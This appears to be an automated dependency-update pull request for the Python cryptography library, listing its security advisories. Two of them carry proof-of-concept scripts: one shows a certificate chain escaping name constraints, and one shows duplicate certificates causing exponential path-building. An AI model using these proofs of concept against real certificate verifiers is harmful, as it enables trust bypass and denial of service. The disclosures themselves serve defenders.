          [https://github.com/advisories/GHSA-p423-j2cm-9vmq](https://redirect.github.com/advisories/GHSA-p423-j2cm-9vmq)\n\nThis
          data is provided by the [GitHub Advisory Database](https://redirect.github.com/advisories/GHSA-p423-j2cm-9vmq)
          ([CC-BY 4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)).\n</details>\n\n---\n\n###
          Vulnerable OpenSSL included in cryptography wheels\n[GHSA-537c-gmf6-5ccf](https://redirect.github.com/advisories/GHSA-537c-gmf6-5ccf)\n\n<details>\n<summary>More
          information</summary>\n\n#### Details\npyca/cryptography's wheels include
          a statically linked copy of OpenSSL. The versions of OpenSSL included in
          wheels prior to cryptograph 48.01 are vulnerable to a security issue. More
          details about the vulnerability itself can be found in https://openssl-library.org/news/secadv/20260609.txt.\n\nIf
          you are building cryptography source (\"sdist\") then you are responsible
          for upgrading your copy of OpenSSL. Only users installing from wheels built
          by the cryptography project (i.e., those distributed on PyPI) need to update
          their cryptography versions.\n\n#### Severity\n- CVSS Score: 7.5 / 10 (High)\n-
          Vector String: `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H`\n\n#### References\n-
          [https://github.com/pyca/cryptography/security/advisories/GHSA-537c-gmf6-5ccf](https://redirect.github.com/pyca/cryptography/security/advisories/GHSA-537c-gmf6-5ccf)\n-
          [https://openssl-library.org/news/secadv/20260609.txt](https://openssl-library.org/news/secadv/20260609.txt)\n-
          [https://github.com/advisories/GHSA-537c-gmf6-5ccf](https://redirect.github.com/advisories/GHSA-537c-gmf6-5ccf)\n\nThis
          data is provided by the [GitHub Advisory Database](https://redirect.github.com/advisories/GHSA-537c-gmf6-5ccf)
          ([CC-BY 4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)).\n</details>\n\n---\n\n###
          cryptography: PKCS#7 EnvelopedData decryption exposes a Bleichenbacher oracle
          through distinguishable errors and timing\n[CVE-2026-69247](https://nvd.nist.gov/vuln/detail/CVE-2026-69247)
          / [GHSA-g6cj-pr64-35w5](https://redirect.github.com/advisories/GHSA-g6cj-pr64-35w5)\n\n<details>\n<summary>More
          information</summary>\n\n#### Details\n##### Summary\n\n`pkcs7_decrypt_der`,
          `pkcs7_decrypt_pem`, and `pkcs7_decrypt_smime` reported the\noutcome of
          decrypting a `RecipientInfo`'s `encryptedKey` in several\ndistinguishable
          ways, one of which disclosed the exact length recovered from the\nRSA operation.
          The same distinction was also observable by timing. An\napplication that
          decrypts attacker-supplied `EnvelopedData` and reflects the\noutcome gives
          the attacker a Bleichenbacher oracle against the\ncontent-encryption key.\n\nIntroduced
          in 44.0.0. Fixed in 50.0.0.\n\n##### Details\n\nDecryption ran as: RSA PKCS#1
          v1.5 decrypt of `encryptedKey` \u2192 build an AES\ncipher from the result
          \u2192 AES-CBC decrypt and PKCS#7 unpad. Each stage failed\ndifferently,
          with no RFC 3218 mitigation:\n\n1. invalid RSA padding \u2192 `Decryption
          failed`\n2. valid padding, bad key length \u2192 `Invalid key size (N) for
          AES.`, disclosing `N`\n3. correct length, wrong key \u2192 `Invalid padding
          bytes.`\n4. the real key \u2192 plaintext\n\nCase 1 is reachable only where
          the linked library lacks implicit rejection:\nOpenSSL 3.0 and 3.1, LibreSSL,
          and BoringSSL. On OpenSSL 3.2+, used in our wheels,\ninvalid padding instead
          returns a synthetic plaintext of\npseudorandom length, so the error channel
          does not distinguish conforming\nciphertexts.\n\nExploitation requires a
          service that auto-decrypts untrusted `EnvelopedData`\nmatching the victim
          certificate and answers adaptively at high volume, such as\nan S/MIME gateway
          or mail filter.\n\n##### Fix\n\nPer RFC 3218, the content-encryption algorithm
          is now resolved before the\nprivate key is used, so the expected key length
          is known in advance. If the RSA\ndecryption fails or recovers a key of the
          wrong length, a random key of the\nexpected length is substituted and decryption
          continues down an identical path.\nAll failures now report identically and
          perform the same work.\n\n##### Not addressed by this fix\n\n`EnvelopedData`
          does not authenticate its content. Tampering with\n`encryptedContent` alone
          yields a CBC padding oracle that recovers plaintext at\nroughly 256 queries
          per byte, without recovering any key, on every backend. This\nis a property
          of PKCS#7 rather than of this implementation, cannot be fixed in\nthe library,
          and is now documented.\n\n##### Credit\n\nReported by @&#8203;X1AOxiang.\n\n####
          Severity\n- CVSS Score: 8.2 / 10 (High)\n- Vector String: `CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N`\n\n####
          References\n- [https://github.com/pyca/cryptography/security/advisories/GHSA-g6cj-pr64-35w5](https://redirect.github.com/pyca/cryptography/security/advisories/GHSA-g6cj-pr64-35w5)\n-
          [https://github.com/pyca/cryptography/pull/15369](https://redirect.github.com/pyca/cryptography/pull/15369)\n-
          [https://github.com/pyca/cryptography/commit/53fccd93413a8d7f07d6d8999681f27b75cffa3f](https://redirect.github.com/pyca/cryptography/commit/53fccd93413a8d7f07d6d8999681f27b75cffa3f)\n-
          [https://github.com/advisories/GHSA-g6cj-pr64-35w5](https://redirect.github.com/advisories/GHSA-g6cj-pr64-35w5)\n\nThis
          data is provided by the [GitHub Advisory Database](https://redirect.github.com/advisories/GHSA-g6cj-pr64-35w5)
          ([CC-BY 4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)).\n</details>\n\n---\n\n###
          python-cryptography verifier accepts wildcard DNS names allowing escape
          from permittedSubtrees\n[CVE-2026-69248](https://nvd.nist.gov/vuln/detail/CVE-2026-69248)
          / [GHSA-m2h6-j472-rp4c](https://redirect.github.com/advisories/GHSA-m2h6-j472-rp4c)\n\n<details>\n<summary>More
          information</summary>\n\n#### Details\n##### Summary\nIf an intermediate
          constrained CA permits the DNS name `foo.example.com`, and the leaf certificate
          has a wildcard in its DNS SAN of `*.example.com`, python-cryptography's
          verifier accepts which allows escaping outside of the permitted names.\n\n#####
          PoC\n\n```\n\n#!/usr/bin/env python3\n\"\"\"Standalone PoC: pyca's DNSConstraint::matches
          admits a too-broad wildcard SAN.\n\nSetup:\n  Sub-CA permitted constraint:
          dNSName = foo.example.com\n  Leaf SAN:                    dNSName = *.example.com\nExpected:
          rejection (RFC 5280 \xA74.2.1.10 + standard wildcard semantics).\nObserved:
          pyca accepts; further, asks server-verifier whether the leaf is\nauthoritative
          for `bar.example.com` and pyca answers yes \u2014 a sub-CA scope\nescape.\n\"\"\"\nimport
          datetime\nfrom cryptography import x509\nfrom cryptography.x509.oid import
          NameOID\nfrom cryptography.hazmat.primitives import hashes\nfrom cryptography.hazmat.primitives.asymmetric
          import ec\nfrom cryptography.x509.verification import (\n    PolicyBuilder,
          Store, ExtensionPolicy, Criticality, VerificationError,\n)\n\nnow = datetime.datetime(2027,
          1, 1, tzinfo=datetime.timezone.utc)\nday = datetime.timedelta(days=1)\n\ndef
          build(subject, issuer, key, issuer_key, ca, exts=()):\n    b = (x509.CertificateBuilder()\n
          \        .subject_name(subject).issuer_name(issuer)\n         .public_key(key.public_key())\n
          \        .serial_number(x509.random_serial_number())\n         .not_valid_before(now
          - 30 * day)\n         .not_valid_after(now + 3650 * day)\n         .add_extension(x509.BasicConstraints(ca=ca,
          path_length=None), critical=True))\n    for e, c in exts:\n        b = b.add_extension(e,
          c)\n    return b.sign(issuer_key, hashes.SHA256())\n\n##### Root\nrk = ec.generate_private_key(ec.SECP256R1())\nrn
          = x509.Name([x509.NameAttribute(NameOID.COMMON_NAME, \"Test Root\")])\nroot
          = build(rn, rn, rk, rk, True)\n\n##### Sub-CA constrained to foo.example.com\nsk
          = ec.generate_private_key(ec.SECP256R1())\nsn = x509.Name([x509.NameAttribute(NameOID.COMMON_NAME,
          \"Sub-CA\")])\nnc = x509.NameConstraints(\n    permitted_subtrees=[x509.DNSName(\"foo.example.com\")],\n
          \   excluded_subtrees=None,\n)\nsub = build(sn, rn, sk, rk, True, [(nc,
          True)])\n\n##### Leaf with SAN *.example.com (over-broad relative to the
          constraint)\nlk = ec.generate_private_key(ec.SECP256R1())\nln = x509.Name([x509.NameAttribute(NameOID.COMMON_NAME,
          \"Leaf\")])\nsan = x509.SubjectAlternativeName([x509.DNSName(\"*.example.com\")])\nleaf
          = build(ln, sn, lk, sk, False, [(san, False)])\n\n##### Policies\nca_pol
          = ExtensionPolicy.permit_all().require_present(\n    x509.BasicConstraints,
          Criticality.AGNOSTIC, None,\n)\nee_pol = ExtensionPolicy.permit_all().require_present(\n
          \   x509.SubjectAlternativeName, Criticality.AGNOSTIC, None,\n)\nv = (\n
          \   PolicyBuilder()\n    .store(Store([root]))\n    .time(now)\n    .extension_policies(ca_policy=ca_pol,
          ee_policy=ee_pol)\n    .build_server_verifier(x509.DNSName(\"bar.example.com\"))\n)\ntry:\n
          \   v.verify(leaf, [sub])\n    print(\"BUG: pyca trusted leaf as bar.example.com
          though sub-CA was constrained to foo.example.com\")\nexcept VerificationError
          as e:\n    print(f\"EXPECTED: VerificationError: {e}\")\n```\n\n##### Impact\n\nAcceptance
          of invalid certificate chain.\n\n#### Severity\n- CVSS Score: 6.9 / 10 (Medium)\n-
          Vector String: `CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:H/VA:N/SC:N/SI:N/SA:N/E:P`\n\n####
          References\n- [https://github.com/pyca/cryptography/security/advisories/GHSA-m2h6-j472-rp4c](https://redirect.github.com/pyca/cryptography/security/advisories/GHSA-m2h6-j472-rp4c)\n-
          [https://github.com/pyca/cryptography/pull/14888](https://redirect.github.com/pyca/cryptography/pull/14888)\n-
          [https://github.com/pyca/cryptography/commit/4d035a4225965edeffd312079a510ef25fcfdcb2](https://redirect.github.com/pyca/cryptography/commit/4d035a4225965edeffd312079a510ef25fcfdcb2)\n-
          [https://nvd.nist.gov/vuln/detail/CVE-2026-69248](https://nvd.nist.gov/vuln/detail/CVE-2026-69248)\n-
          [https://github.com/pyca/cryptography/commit/286c89128](https://redirect.github.com/pyca/cryptography/commit/286c89128)\n-
          [https://github.com/pypa/advisory-database/tree/main/vulns/cryptography/PYSEC-2026-3554.yaml](https://redirect.github.com/pypa/advisory-database/tree/main/vulns/cryptography/PYSEC-2026-3554.yaml)\n-
          [https://github.com/advisories/GHSA-m2h6-j472-rp4c](https://redirect.github.com/advisories/GHSA-m2h6-j472-rp4c)\n\nThis
          data is provided by the [GitHub Advisory Database](https://redirect.github.com/advisories/GHSA-m2h6-j472-rp4c)
          ([CC-BY 4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)).\n</details>\n\n---\n\n###
          python-cryptography: Duplicate self-signed intermediates can cause exponential
          path-building\n[CVE-2026-69249](https://nvd.nist.gov/vuln/detail/CVE-2026-69249)
          / [GHSA-jwv3-5hgf-82ww](https://redirect.github.com/advisories/GHSA-jwv3-5hgf-82ww)\n\n<details>\n<summary>More
          information</summary>\n\n#### Details\n##### Summary\nWhen resolving invalid
          certificate chains that include duplicate copies of self-signed certificates,
          the processing recursively invokes the same candidate, leading to an exponential
          blowup. Although the limitation that the chain depth cannot exceed a specified
          maximum depth prevents unbounded recursion and guarantees termination, an
          attacker-controlled certificate chain can lead the processing to easily
          take more than 5s to reject in testing. This amplification could form the
          basis for a resource exhaustion denial of service attack.\n\nThis work was
          completed by Trail of Bits as part of the Patch The Planet project in collaboration
          with OpenAI. The finding was identified primarily by the Codex coding agent,
          and manually reviewed before submission. \n\n##### Details\nThe core issue
          arises in the recursive nature of `build_chain_inner`, which does not de-duplicate
          against previously analyzed candidates.\n\n```python\n    fn build_chain_inner(\n
          \       &self,\n        working_cert: &VerificationCertificate<'chain, B>,\n
          \       current_depth: u8,\n        working_cert_extensions: &Extensions<'chain>,\n
          \       name_chain: NameChain<'_, 'chain>,\n        budget: &mut Budget,\n
          \   ) -> ValidationResult<'chain, Chain<'chain, B>, B> {\n        if let
          Some(nc) = working_cert_extensions.get_extension(&NAME_CONSTRAINTS_OID)
          {\n            name_chain.evaluate_constraints(&nc.value()?, budget)?;\n
          \       }\n\n        // Look in the store's root set to see if the working
          cert is listed.\n        // If it is, we've reached the end.\n        if
          self.store.contains(working_cert) {\n            return Ok(vec![working_cert.clone()]);\n
          \       }\n\n        // Check that our current depth does not exceed our
          policy-configured\n        // max depth. We do this after the root set check,
          since the depth\n        // only measures the intermediate chain's length,
          not the root or leaf.\n        if current_depth > self.policy.max_chain_depth
          {\n            return Err(ValidationError::new(ValidationErrorKind::Other(\n
          \               \"chain construction exceeds max depth\".into(),\n            )));\n
          \       }\n\n        // Otherwise, we collect a list of potential issuers
          for this cert,\n        // and continue with the first that verifies.\n
          \       let mut last_err: Option<ValidationError<'_, B>> = None;\n        for
          issuing_cert_candidate in self.potential_issuers(working_cert) {\n            //
          A candidate issuer is said to verify if it both\n            // signs for
          the working certificate and conforms to the\n            // policy.\n            let
          issuer_extensions = issuing_cert_candidate.certificate().extensions()?;\n
          \           match self.policy.valid_issuer(\n                issuing_cert_candidate,\n
          \               working_cert,\n                current_depth,\n                &issuer_extensions,\n
          \           ) {\n                Ok(_) => {\n                    match self.build_chain_inner(\n```\n\nA
          sufficient patch is to track valid issuers, and to skip seen ones before
          recursing. By tracking valid issuers only, validation and custom extension-policy
          callbacks still run.\n\n```rust\n          let mut seen_valid_issuers =
          Vec::<&VerificationCertificate<'chain, B>>::new();\n          for issuing_cert_candidate
          in self.potential_issuers(working_cert) {\n          . . .\n                  Ok(_)
          => {\n                      if seen_valid_issuers.contains(&issuing_cert_candidate)
          {\n                         continue;\n                      }\n                      seen_valid_issuers.push(issuing_cert_candidate);\n
          \n                      match self.build_chain_inner(\n                          issuing_cert_candidate,\n
          \                         // NOTE(ww): According to RFC 5280, we should
          only\n```\n\nIn testing, this fix removed the exponential blowup without
          breaking apparent correctness. \n\n```\nduplicates,max_depth,result,seconds\n1,7,rejected,0.000464
          -> 1,7,rejected,0.000667\n2,7,rejected,0.025154 -> 2,7,rejected,0.001229\n3,7,rejected,0.489924
          -> 3,7,rejected,0.001619 \n4,7,rejected,4.309403 -> 4,7,rejected,0.002144\n3,8,rejected,1.468193
          -> 3,8,rejected,0.001811\n4,8,timeout>5s,       -> 4,8,rejected,0.002410\n5,7,timeout>5s,
          \      -> 5,7,rejected,0.002640\n6,6,timeout>5s,       -> 6,6,rejected,0.002829\n```\n\n#####
          PoC\nThe following script benchmarks processing times for malicious cert
          chains.\n\n```python\nimport datetime\nimport multiprocessing\nimport time\n\nimport
          cryptography\nfrom cryptography import x509\nfrom cryptography.hazmat.primitives
          import hashes\nfrom cryptography.hazmat.primitives.asymmetric import ec\nfrom
          cryptography.x509.oid import ExtendedKeyUsageOID, NameOID\nfrom cryptography.x509.verification
          import (\n    DNSName,\n    PolicyBuilder,\n    Store,\n    VerificationError,\n)\n\nNOW
          = datetime.datetime(2024, 1, 1, tzinfo=datetime.timezone.utc)\nTIMEOUT =
          5\nCA_KEY_USAGE = x509.KeyUsage(\n    digital_signature=True,\n    content_commitment=False,\n
          \   key_encipherment=False,\n    data_encipherment=False,\n    key_agreement=False,\n
          \   key_cert_sign=True,\n    crl_sign=True,\n    encipher_only=False,\n
          \   decipher_only=False,\n)\nEE_KEY_USAGE = x509.KeyUsage(\n    digital_signature=True,\n
          \   content_commitment=False,\n    key_encipherment=False,\n    data_encipherment=False,\n
          \   key_agreement=False,\n    key_cert_sign=False,\n    crl_sign=False,\n
          \   encipher_only=False,\n    decipher_only=False,\n)\n\ndef name(common_name):\n
          \   return x509.Name([x509.NameAttribute(NameOID.COMMON_NAME, common_name)])\n\ndef
          base_builder(subject, issuer, public_key, serial):\n    return (\n        x509.CertificateBuilder()\n
          \       .subject_name(subject)\n        .issuer_name(issuer)\n        .public_key(public_key)\n
          \       .serial_number(serial)\n        .not_valid_before(NOW - datetime.timedelta(days=1))\n
          \       .not_valid_after(NOW + datetime.timedelta(days=30))\n    )\n\ndef
          make_ca(common_name, serial):\n    private_key = ec.generate_private_key(ec.SECP256R1())\n
          \   subject = name(common_name)\n    cert = (\n        base_builder(subject,
          subject, private_key.public_key(), serial)\n        .add_extension(x509.BasicConstraints(ca=True,
          path_length=None), True)\n        .add_extension(CA_KEY_USAGE, True)\n        .add_extension(\n
          \           x509.SubjectKeyIdentifier.from_public_key(private_key.public_key()),\n
          \           False,\n        )\n        .sign(private_key, hashes.SHA256())\n
          \   )\n    return private_key, cert\n\ndef make_leaf(issuer_key, issuer_cert):\n
          \   private_key = ec.generate_private_key(ec.SECP256R1())\n    return (\n
          \       base_builder(name(\"leaf\"), issuer_cert.subject, private_key.public_key(),
          100)\n        .add_extension(x509.BasicConstraints(ca=False, path_length=None),
          True)\n        .add_extension(EE_KEY_USAGE, True)\n        .add_extension(x509.SubjectAlternativeName([x509.DNSName(\"example.com\")]),
          False)\n        .add_extension(\n            x509.AuthorityKeyIdentifier.from_issuer_public_key(issuer_key.public_key()),\n
          \           False,\n        )\n        .add_extension(x509.ExtendedKeyUsage([ExtendedKeyUsageOID.SERVER_AUTH]),
          False)\n        .sign(issuer_key, hashes.SHA256())\n    )\n\ndef build_material():\n
          \   looping_key, looping_ca = make_ca(\"looping self-signed CA\", 1)\n    _,
          unrelated_root = make_ca(\"unrelated trust anchor\", 2)\n    leaf = make_leaf(looping_key,
          looping_ca)\n    return leaf, looping_ca, unrelated_root\n\ndef verify_case(duplicates,
          max_depth, queue):\n    leaf, looping_ca, unrelated_root = build_material()\n
          \   verifier = (\n        PolicyBuilder()\n        .store(Store([unrelated_root]))\n
          \       .time(NOW)\n        .max_chain_depth(max_depth)\n        .build_server_verifier(DNSName(\"example.com\"))\n
          \   )\n\n    start = time.perf_counter()\n    try:\n        verifier.verify(leaf,
          [looping_ca] * duplicates)\n        result = \"accepted\"\n    except VerificationError:\n
          \       result = \"rejected\"\n    queue.put((result, time.perf_counter()
          - start))\n\ndef run_case(duplicates, max_depth):\n    queue = multiprocessing.Queue()\n
          \   process = multiprocessing.Process(\n        target=verify_case,\n        args=(duplicates,
          max_depth, queue),\n    )\n    process.start()\n    process.join(TIMEOUT)\n\n
          \   if process.is_alive():\n        process.terminate()\n        process.join()\n
          \       print(f\"{duplicates},{max_depth},timeout>{TIMEOUT}s,\")\n        return\n\n
          \   result, elapsed = queue.get()\n    print(f\"{duplicates},{max_depth},{result},{elapsed:.6f}\")\n\nif
          __name__ == \"__main__\":\n    print(\"duplicates,max_depth,result,seconds\")\n
          \   for case in [(1, 7), (2, 7), (3, 7), (4, 7), (3, 8), (4, 8), (5, 7),
          (6, 6)]:\n        run_case(*case)\n```\n\n##### Impact\nThis issue exposes
          an amplification pathway over data that in many applications may be user-controlled,
          leading to the possibility of a denial of service through resource exhaustion.
          As the correctness of validation is not affected, the integrity of a system
          cannot be compromised through this vector, only its availability.\n\n####
          Severity\n- CVSS Score: 8.7 / 10 (High)\n- Vector String: `CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N`\n\n####
          References\n- [https://github.com/pyca/cryptography/security/advisories/GHSA-jwv3-5hgf-82ww](https://redirect.github.com/pyca/cryptography/security/advisories/GHSA-jwv3-5hgf-82ww)\n-
          [https://github.com/pyca/cryptography/pull/14960](https://redirect.github.com/pyca/cryptography/pull/14960)\n-
          [https://github.com/pyca/cryptography/commit/4a12cf49675a184e47f912b00b04f3a629283582](https://redirect.github.com/pyca/cryptography/commit/4a12cf49675a184e47f912b00b04f3a629283582)\n-
          [https://nvd.nist.gov/vuln/detail/CVE-2026-69249](https://nvd.nist.gov/vuln/detail/CVE-2026-69249)\n-
          [https://github.com/pyca/cryptography/commit/3763aa79b](https://redirect.github.com/pyca/cryptography/commit/3763aa79b)\n-
          [https://github.com/pypa/advisory-database/tree/main/vulns/cryptography/PYSEC-2026-3553.yaml](https://redirect.github.com/pypa/advisory-database/tree/main/vulns/cryptography/PYSEC-2026-3553.yaml)\n-
          [https://github.com/advisories/GHSA-jwv3-5hgf-82ww](https://redirect.github.com/advisories/GHSA-jwv3-5hgf-82ww)\n\nThis
          data is provided by the [GitHub Advisory Database](https://redirect.github.com/advisories/GHSA-jwv3-5hgf-82ww)
          ([CC-BY 4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)).\n</details>\n\n---\n\n###
          Release Notes\n\n<details>\n<summary>pyca/cryptography (cryptography)</summary>\n\n###
          [`v50.0.0`](https://redirect.github.com/pyca/cryptography/compare/49.0.0...50.0.0)\n\n[Compare
          Source](https://redirect.github.com/pyca/cryptography/compare/49.0.0...50.0.0)\n\n###
          [`v49.0.0`](https://redirect.github.com/pyca/cryptography/compare/48.0.1...49.0.0)\n\n[Compare
          Source](https://redirect.github.com/pyca/cryptography/compare/48.0.1...49.0.0)\n\n###
          [`v48.0.1`](https://redirect.github.com/pyca/cryptography/compare/48.0.0...48.0.1)\n\n[Compare
          Source](https://redirect.github.com/pyca/cryptography/compare/48.0.0...48.0.1)\n\n###
          [`v48.0.0`](https://redirect.github.com/pyca/cryptography/compare/47.0.0...48.0.0)\n\n[Compare
          Source](https://redirect.github.com/pyca/cryptography/compare/47.0.0...48.0.0)\n\n###
          [`v47.0.0`](https://redirect.github.com/pyca/cryptography/compare/46.0.7...47.0.0)\n\n[Compare
          Source](https://redirect.github.com/pyca/cryptography/compare/46.0.7...47.0.0)\n\n###
          [`v46.0.7`](https://redirect.github.com/pyca/cryptography/compare/46.0.6...46.0.7)\n\n[Compare
          Source](https://redirect.github.com/pyca/cryptography/compare/46.0.6...46.0.7)\n\n###
          [`v46.0.6`](https://redirect.github.com/pyca/cryptography/compare/46.0.5...46.0.6)\n\n[Compare
          Source](https://redirect.github.com/pyca/cryptography/compare/46.0.5...46.0.6)\n\n###
          [`v46.0.5`](https://redirect.github.com/pyca/cryptography/compare/46.0.4...46.0.5)\n\n[Compare
          Source](https://redirect.github.com/pyca/cryptography/compare/46.0.4...46.0.5)\n\n###
          [`v46.0.4`](https://redirect.github.com/pyca/cryptography/compare/46.0.3...46.0.4)\n\n[Compare
          Source](https://redirect.github.com/pyca/cryptography/compare/46.0.3...46.0.4)\n\n###
          [`v46.0.3`](https://redirect.github.com/pyca/cryptography/compare/46.0.2...46.0.3)\n\n[Compare
          Source](https://redirect.github.com/pyca/cryptography/compare/46.0.2...46.0.3)\n\n###
          [`v46.0.2`](https://redirect.github.com/pyca/cryptography/compare/46.0.1...46.0.2)\n\n[Compare
          Source](https://redirect.github.com/pyca/cryptography/compare/46.0.1...46.0.2)\n\n###
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This PR contains the following updates:

| Package | Change | [Age](https://docs.renovatebot.com/merge-confidence/) | [Confidence](https://docs.renovatebot.com/merge-confidence/) |
|---|---|---|---|
| [cryptography](https://redirect.github.com/pyca/cryptography) ([changelog](https://cryptography.io/en/latest/changelog/)) | `45.0.6` → `50.0.0` | ![age](https://developer.mend.io/api/mc/badges/age/pypi/cryptography/50.0.0?slim=true) | ![confidence](https://developer.mend.io/api/mc/badges/confidence/pypi/cryptography/45.0.6/50.0.0?slim=true) |

---

### cryptography Vulnerable to a Subgroup Attack Due to Missing Subgroup Validation for SECT Curves
[CVE-2026-26007](https://nvd.nist.gov/vuln/detail/CVE-2026-26007) / [GHSA-r6ph-v2qm-q3c2](https://redirect.github.com/advisories/GHSA-r6ph-v2qm-q3c2)

<details>
<summary>More information</summary>

#### Details
##### Vulnerability Summary

The `public_key_from_numbers` (or `EllipticCurvePublicNumbers.public_key()`), `EllipticCurvePublicNumbers.public_key()`, `load_der_public_key()` and `load_pem_public_key()` functions do not verify that the point belongs to the expected prime-order subgroup of the curve.

This missing validation allows an attacker to provide a public key point `P` from a small-order subgroup.  This can lead to security issues in various situations, such as the most commonly used signature verification (ECDSA) and shared key negotiation (ECDH). When the victim computes the shared secret as `S = [victim_private_key]P` via ECDH,  this leaks information about `victim_private_key mod (small_subgroup_order)`. For curves with cofactor > 1, this reveals the least significant bits of the private key.  When these weak public keys are used in ECDSA , it's easy to forge signatures on the small subgroup.

Only SECT curves are impacted by this.

##### Credit

This vulnerability was discovered by:
- XlabAI Team of Tencent Xuanwu Lab
- Atuin Automated Vulnerability Discovery Engine

#### Severity
- CVSS Score: 8.2 / 10 (High)
- Vector String: `CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X`

#### References
- [https://github.com/pyca/cryptography/security/advisories/GHSA-r6ph-v2qm-q3c2](https://redirect.github.com/pyca/cryptography/security/advisories/GHSA-r6ph-v2qm-q3c2)
- [https://github.com/pyca/cryptography/commit/0eebb9dbb6343d9bc1d91e5a2482ed4e054a6d8c](https://redirect.github.com/pyca/cryptography/commit/0eebb9dbb6343d9bc1d91e5a2482ed4e054a6d8c)
- [https://github.com/pyca/cryptography/releases/tag/46.0.5](https://redirect.github.com/pyca/cryptography/releases/tag/46.0.5)
- [https://nvd.nist.gov/vuln/detail/CVE-2026-26007](https://nvd.nist.gov/vuln/detail/CVE-2026-26007)
- [http://www.openwall.com/lists/oss-security/2026/02/10/4](http://www.openwall.com/lists/oss-security/2026/02/10/4)
- [https://github.com/advisories/GHSA-r6ph-v2qm-q3c2](https://redirect.github.com/advisories/GHSA-r6ph-v2qm-q3c2)

This data is provided by the [GitHub Advisory Database](https://redirect.github.com/advisories/GHSA-r6ph-v2qm-q3c2) ([CC-BY 4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)).
</details>

---

### cryptography has incomplete DNS name constraint enforcement on peer names
[CVE-2026-34073](https://nvd.nist.gov/vuln/detail/CVE-2026-34073) / [GHSA-m959-cc7f-wv43](https://redirect.github.com/advisories/GHSA-m959-cc7f-wv43)

<details>
<summary>More information</summary>

#### Details
##### Summary

In versions of cryptography prior to 46.0.5, DNS name constraints were only validated against SANs within child certificates, and not the "peer name" presented during each validation. Consequently, cryptography would allow a peer named `bar.example.com` to validate against a wildcard leaf certificate for `*.example.com`, even if the leaf's parent certificate (or upwards) contained an excluded subtree constraint for `bar.example.com`.

This behavior resulted from a gap between RFC 5280 (which defines Name Constraint semantics) and RFC 9525 (which defines service identity semantics): put together, neither states definitively whether Name Constraints should be applied to peer names. To close this gap, cryptography now conservatively rejects any validation where the peer name would be rejected by a name constraint if it were a SAN instead.

In practice, exploitation of this bypass requires an uncommon X.509 topology, one that the Web PKI avoids because it exhibits these kinds of problems. Consequently, we consider this a medium-to-low impact severity.

See CVE-2025-61727 for a similar bypass in Go's `crypto/x509`.

##### Remediation

Users should upgrade to 46.0.6 or newer. 

##### Attribution

Reporter: @&#8203;1seal

#### Severity
- CVSS Score: 1.7 / 10 (Low)
- Vector String: `CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:U`

#### References
- [https://github.com/pyca/cryptography/security/advisories/GHSA-m959-cc7f-wv43](https://redirect.github.com/pyca/cryptography/security/advisories/GHSA-m959-cc7f-wv43)
- [https://nvd.nist.gov/vuln/detail/CVE-2026-34073](https://nvd.nist.gov/vuln/detail/CVE-2026-34073)
- [https://github.com/pypa/advisory-database/tree/main/vulns/cryptography/PYSEC-2026-35.yaml](https://redirect.github.com/pypa/advisory-database/tree/main/vulns/cryptography/PYSEC-2026-35.yaml)
- [https://github.com/advisories/GHSA-m959-cc7f-wv43](https://redirect.github.com/advisories/GHSA-m959-cc7f-wv43)

This data is provided by the [GitHub Advisory Database](https://redirect.github.com/advisories/GHSA-m959-cc7f-wv43) ([CC-BY 4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)).
</details>

---

### Cryptography vulnerable to buffer overflow if non-contiguous buffers were passed to APIs
[CVE-2026-39892](https://nvd.nist.gov/vuln/detail/CVE-2026-39892) / [GHSA-p423-j2cm-9vmq](https://redirect.github.com/advisories/GHSA-p423-j2cm-9vmq)

<details>
<summary>More information</summary>

#### Details
If a non-contiguous buffer was passed to APIs which accepted Python buffers (e.g. `Hash.update()`), this could lead to buffer overflows. For example:

```python
h = Hash(SHA256())
b.update(buf[::-1])
```

would read past the end of the buffer on Python >3.11

#### Severity
- CVSS Score: 6.9 / 10 (Medium)
- Vector String: `CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N`

#### References
- [https://github.com/pyca/cryptography/security/advisories/GHSA-p423-j2cm-9vmq](https://redirect.github.com/pyca/cryptography/security/advisories/GHSA-p423-j2cm-9vmq)
- [https://nvd.nist.gov/vuln/detail/CVE-2026-39892](https://nvd.nist.gov/vuln/detail/CVE-2026-39892)
- [http://www.openwall.com/lists/oss-security/2026/04/08/12](http://www.openwall.com/lists/oss-security/2026/04/08/12)
- [https://github.com/pypa/advisory-database/tree/main/vulns/cryptography/PYSEC-2026-36.yaml](https://redirect.github.com/pypa/advisory-database/tree/main/vulns/cryptography/PYSEC-2026-36.yaml)
- [https://github.com/pyca/cryptography/commit/c09d38ae52de7d95fe683b7a7c496f5751616f27](https://redirect.github.com/pyca/cryptography/commit/c09d38ae52de7d95fe683b7a7c496f5751616f27)
- [https://github.com/pyca/cryptography/commit/622d672e429a7cff836a23c5903683dbec1901f5](https://redirect.github.com/pyca/cryptography/commit/622d672e429a7cff836a23c5903683dbec1901f5)
- [https://access.redhat.com/errata/RHSA-2026:19375](https://access.redhat.com/errata/RHSA-2026:19375)
- [https://access.redhat.com/errata/RHSA-2026:43651](https://access.redhat.com/errata/RHSA-2026:43651)
- [https://access.redhat.com/errata/RHSA-2026:43670](https://access.redhat.com/errata/RHSA-2026:43670)
- [https://access.redhat.com/errata/RHSA-2026:43851](https://access.redhat.com/errata/RHSA-2026:43851)
